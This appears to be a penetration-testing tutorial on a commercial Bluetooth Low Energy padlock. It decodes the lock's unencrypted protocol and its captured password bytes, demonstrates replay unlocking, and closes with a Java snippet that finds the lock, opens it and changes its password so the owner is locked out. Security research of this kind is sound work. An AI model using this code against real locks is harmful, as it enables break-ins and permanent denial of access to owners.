Introduction
This article is part of a series which educates people on how to properly conduct a penetration test on IoT devices. The IoT Pentest Series will start the hacking journey with Bluetooth Low Energy protocol.
This article analyzes a commercial padlock and discusses the different phases a penetration tester shall follow when pen-testing a BLE-enabled (Bluetooth Low Energy) device.
In this series will make use of BLE:Bit which makes things easier, especially for a penetration tester that is new to this field. The BLE:Bit is a Bluetooth Low Energy Security Assessment tool, that is created especially for security assessments in mind. It comes with the BLE:Bit SDK, a Java Software Development Kit, that helps in controlling the device. Additionally, the user may use the existing CLI tools or the BLE:Bit Controller (android) for controlling the devices. For making our life easier, we will use the android app called BLE:Bit Controller.
How the BLE:Bit Controller works:
The BLE:Bit Controller is an android application that communicates with the accompanied java server (running on a computer, ie. raspberry pi) that is based on BLE:Bit SDK. When the application starts, we have to configure the proxy configurations. Then, when the controller is connected to the java server, the BLE:Bit Central and BLE:Bit Peripheral devices (which are connected to the raspberry pi) are under the control of the android controller via the java server. By using the controller v1.0, we can view and replay (or replay with data modification) data back to the peer device.
Attack Scenario
The attack scenario is the following:
We have a smart lock that when clicked, gets enabled and waits for a client to connect. The smart lock is accompanied by both android and iOS applications. When the android application discovers the device, it connects to the smart lock and by clicking the unlock button on the vendor’s android application, the lock gets unlocked. At first, wish to accomplish a MiTM attack in order to better understand the application-layer protocol between the android application and BLE-enabled device. To accomplish that, we will make use both of BLE:Bit Central and BLE:Bit Peripheral.
We will transfer the BLE:Bit’s server at the raspberry pi (the two BLE:Bit devices — Central & Peripheral — are connected to the raspberry pi as shown below).
Let’s start and launch the server:
java -jar BLEBit-server.jar
The server listens to TCP Port 9090 by default. This information is necessary as for the configuration of the BLE:Bit Controller android application.
The following image shows the BLE:Bit configuration page. During the configuration we can select between a few options (ie the inclusion of scan data). This is important as the scan data often contains different data than the advertising data. This is important as the rogue peripheral BLE:Bit device needs to know what data shall advertise. If we omit any advertisement data the vendor’s android application may fail to connect to our rogue station and may not connect at all.
When we click connect, the BLE:Bit Controller initiates a connection to the BLE:Bit server that we have started previously on our Raspberry Pi.
Then, we open the vendor’s android application in order to communicate with our rogue station and intercept any BLE traffic.
When the android application has been opened, it scans for nearby known devices (that has previously paired with them), by searching for their Bluetooth Device Address. If any known device is in range the application initiates a connection with them. In this case, the other end will be our rogue BLE:Bit Peripheral.
Intercepting the traffic with BLE:Bit Controller app:
The screen shows the different characteristics as well as the values being used. The W stands for Write and N stands for Notification. Write means, the vendor’s android app wants to send a message to the other peer (Lock), and Notification means the Lock wish to send a message back to the other peer device (vendor’s android app).
Understanding the Protocol
In order to understand the protocol, a piece of reverse engineer is required, of the protocol (if possible), or android of the application. The ideal is reverse engineer both.
The Reverse engineering of application was trivial as no-stripping has been performed to APK. Below we can see part of the class (com.chltec.base_blelock.module.protocol.BleLockProtocol) that contains some of the fields of the custom BLE protocol:
package com.chltec.base_blelock.module.protocol;
The status codes:
public static final byte BLELOCK_STATE_CLOSE = (byte) 0; // 0
public static final byte BLELOCK_STATE_OPEN = (byte) 1; // 1
public static final byte CLOSE_BLELOCK = (byte) 2; // 2
public static final byte COMMAND_AUTH_PWD = (byte) 65; // 41
public static final byte COMMAND_ENERGY = (byte) 32; // 20
public static final byte COMMAND_KEY_OPERATE_PWD = (byte) 80; // 50
public static final byte COMMAND_OPERATE_LOCK = (byte) 16; // 10
public static final byte COMMAND_SETTING_PWD_MODE = (byte) 96; // 60
public static final byte COMMAND_SET_PASSWORD = (byte) 64; // 40
public static final byte COMMAND_STATUS = (byte) 48; // 30
public static final byte OPEN_BLELOCK = (byte) 1; // 1
public static final byte REQUEST_ID = (byte) 85; // 55
public static final byte RESPOND_ID = (byte) -86; // aa
Method used for Setting Message for Password Authentication Message:
public static byte[] buildSetAuthPassword(int password) {
ByteBuffer byteBuffer = ByteBuffer.allocate(6);
byteBuffer.put(REQUEST_ID);
byteBuffer.put(COMMAND_SET_PASSWORD);
byteBuffer.put(ByteUtil.hexStringToByteArray(String.format("%06x", new Object[]{Integer.valueOf(password)})));
byteBuffer.put(checkSum(byteBuffer.array()));
Log.d(AppConstants.DEBUG_TAG, new String(Hex.encodeHex(byteBuffer.array())));
return byteBuffer.array();
}
We can start decoding the protocol messages one by one starting from the very first message. It is sent from the master to the slave — in this case, that is the android application to smart lock.
Message 1: 0x01, 0x00.
The android application needs to enable notifications in order to be able to receive any value updates from the slave.
Message 2:
The message is deconstructed as shown below:
Position | Byte (Hex) | Description |
1 | 55 | Request |
2 | 41 | Authenticate with Password |
3-5 | 0261FC | Password |
6 | 0B | Checksum |
Message 3:
The message is deconstructed as shown below:
Position | Byte (Hex) | Description |
1 | AA | Response |
2 | 41 | Authenticate with Password |
3-5 | 0261FC | Password |
6 | 74 | Checksum |
Message 4:
Position | Byte (Hex) | Description |
1 | AA | Response |
2 | 20 | Energy Command |
3 | 38 | Battery Level Value |
4 | B2 | Checksum |
Message 5:
Position | Byte (Hex) | Description |
1 | AA | Response |
2 | 30 | Status |
3 | 00 | All Good |
4 | 9A | Checksum |
The final goal of this scenario is to be able, as attackers, to open the lock without the help of the true owner.
By clicking into the unlock button of the BLE smart lock we are able see the message and decode it:
Message 6:
Position | Byte (Hex) | Description |
1 | 55 | Request |
2 | 10 | Operate Lock |
3 | 01 | Open Lock |
4 | 44 | Checksum |
It is now clear to us, that only 4 bytes are required to open the lock.
The Penetration Test
BLE Encryption & Authentication: Critical Severity
The android application does not apply any encryption method the BLE protocol supports, and no application-layer encryption is applied either.
Authentication: Pass
We have observed, that an authentication method is applied. This is not enough though, as anyone acting as MTIM may intercept the password message and unlock the lock, which is pretty much game over. Therefore, the smart lock is vulnerable to MiTM and sniffing attacks. We have not managed to bypass authentication though.
Replay Attacks: Critical Severity
Unauthorized Unlock of device
Since we know which message executes each action, we will now start by replaying some messages (and/or alter them) to check whenever the peer device accepts the replayed data. That shall be performed against both to android application and smart lock. Again, we can do that via the BLE:Bit Controller, by swiping any message to the left/right. Then, a message box will appear asking If we want to alter the data. At this stage, we don’t wish to alter any data.
To make the scenario more interesting, realistic and fun, we will connect to the smart lock without the vendor’s android application to be present. For that to work, we need to have the data stored in a database. That is handled by the BLE:Bit Controller application, via the proxy configuration page.
As we can see, we have authenticated by using the very same authentication message received previously and unlocked the insecure smart device by using the same “open-lock” message. The lock has been opened successfully. The android application fails to establish secure communication with the target device and thus confidentiality of the information is affected.
Unlock Automatically
The lock implementation fails to establish secure communication and thus, a packet replay scenario is possible. So, how can we change the password to deny access to the actual user, without the user to be able to do a password reset?
The smart lock does not support password reset by default. That means that if an unauthorized user changes the password, the actual user will be locked out, forever.
We have followed the same steps that have been described in the previous replay attack. At first, we may complete the action (change password) via the android application and then we replay the data in order to confirm that the password can be altered by unauthorized actors. Due to the missing encryption algorithm, anyone that holds the password is able to alter the password, which makes sense. This is not a security issue but the solution is shown here for the sake of the completion of the test.
We have developed a small snippet by utilizing the BLE:Bit SDK version 1.7 that automatically finds the lock and have it unlocked as soon as it is found.
This is not hard to do as by using the BLE:Bit SDK that is straight forward.
At first we create a Central Callback Object.
CEBLEDeviceCallbackHandler devCallback = new CEBLEDeviceCallbackHandler();
Then, the Central is created and configured:
ce = new CEController(startComm(prolific_ftdi), devCallback);
ce.sendConnectionParameters(9, 13, 0, 1000, /*Scan*/ 500/*Interval*/, 400/*Window*/, 0/*Timeout*/, /*Connection*/ 50, 40, 0xffff, false);
ce.sendBluetoothDeviceAddress("ff:55:ee:fe:4a:af", ConnectionTypesCommon.BITAddressType.STATIC_PRIVATE);
ce.configurePairing(ConnectionTypesCommon.PairingMethods.NO_IO, null);
ce.eraseBonds();
ce.finishSetup();
The following line will initiate the CE and start listening for the (any) target:
ce.connectNow(target, AddressType.PUBLIC_ADDR);
Finally, the code below can be used to communicate by using the custom protocol, authenticate, unlock the lock and then alter the existing password:
byte [] auth = new byte[] {0x55, 0x41, 0x01, 0x02, (byte)0x03, 0x00};
checksum(auth);
byte [] open = new byte[] {0x55, 0x10, 0x01, 0x00};
checksum(open);
byte [] passmode = new byte[] {0x55, 0x60, 0x00};
checksum(passmode);
byte [] setpassword = new byte[] {0x55, 0x40, 0x02, 0x61, (byte)0xfc, 0};
checksum(setpassword);
// Authenticate and open lock
ce.writeData(auth, 0, auth.length, (short)41);
ce.writeData(open, 0, open.length, (short)41);
// Enter Password-change mode and alter password
ce.writeData(passmode, 0, passmode.length, (short)41);
ce.writeData(setpassword, 0, setpassword.length, (short)41);
ce.disconnect(19);
ce.terminate();
By compiling and running the above java code, the smart lock, when enabled, has been unlocked and the password has been altered, in under a few milliseconds.
Please keep in mind that more can be done. For example, we could change the battery level shown in android application. The message is transferred through our BLE:Bit Controller and altering the battery level indicator of the vendor’s application is a piece of cake. in this case, the same techniques can be applied which are not different from the techniques that have already explained.
The tests have been conducted using BLE:Bit Tool:
You can purchase central and peripheral from store.shellwanted.com